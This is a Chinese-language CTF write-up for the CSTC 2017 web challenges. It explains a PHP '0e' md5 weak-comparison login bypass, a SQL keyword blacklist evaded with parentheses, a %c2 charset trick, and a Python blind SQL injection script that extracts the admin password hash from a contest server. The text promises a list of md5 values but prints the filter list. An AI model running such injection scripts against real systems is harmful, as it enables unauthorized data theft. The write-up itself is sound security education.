您的位置:首页 > 其它

CSTC-2017-Web-writeup

2017-04-17 11:24 525 查看

0x01 前言

这一次的比赛web题只做出来3个,也是菜的抠脚。。

0x02 web-签到题 php弱类型

查看源码,发现是代码审计,要求用户名必须为字母,密码必须为数字,登陆页面可以用开头为0e的md5值绕过,下面列出一串0e开头的md5值

1 <?php
2 *
3 ;
4 ,
5 is
6 union
7 like
8 regexp
9 for
10 and
11 or
12 file
13 --
14 |
15 `
16 &
17 空格
18 ?>


View Code
这道题和swup-CTF的题有点类似

()可以绕过空格,运用select*from xx where xx='0'='1'='0' 然后在1中放入我们的代码就好了



直接放poc

1 #coding=utf-8
2 import requests
3 url='http://117.34.111.15:89/index.php?action=show'
4 string='abcdef0123456789'
5 flag=""
6 for length in range(1,33):
7     for x in string:
8         s=requests.session()
9         payload={"username":"username'=(select(1)from(user)where(mid((passwd)from(%d))='%s%s'))='"%(33-length,x,flag)}
10         if 'admin' in s.post(url,data=payload).content:
11             flag=x+flag
12             print 33-length,flag


最终将密码的md5值跑出来



login处%c2绕过原理具体请看p牛文章 Mysql字符编码利用技巧

最终getflag
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: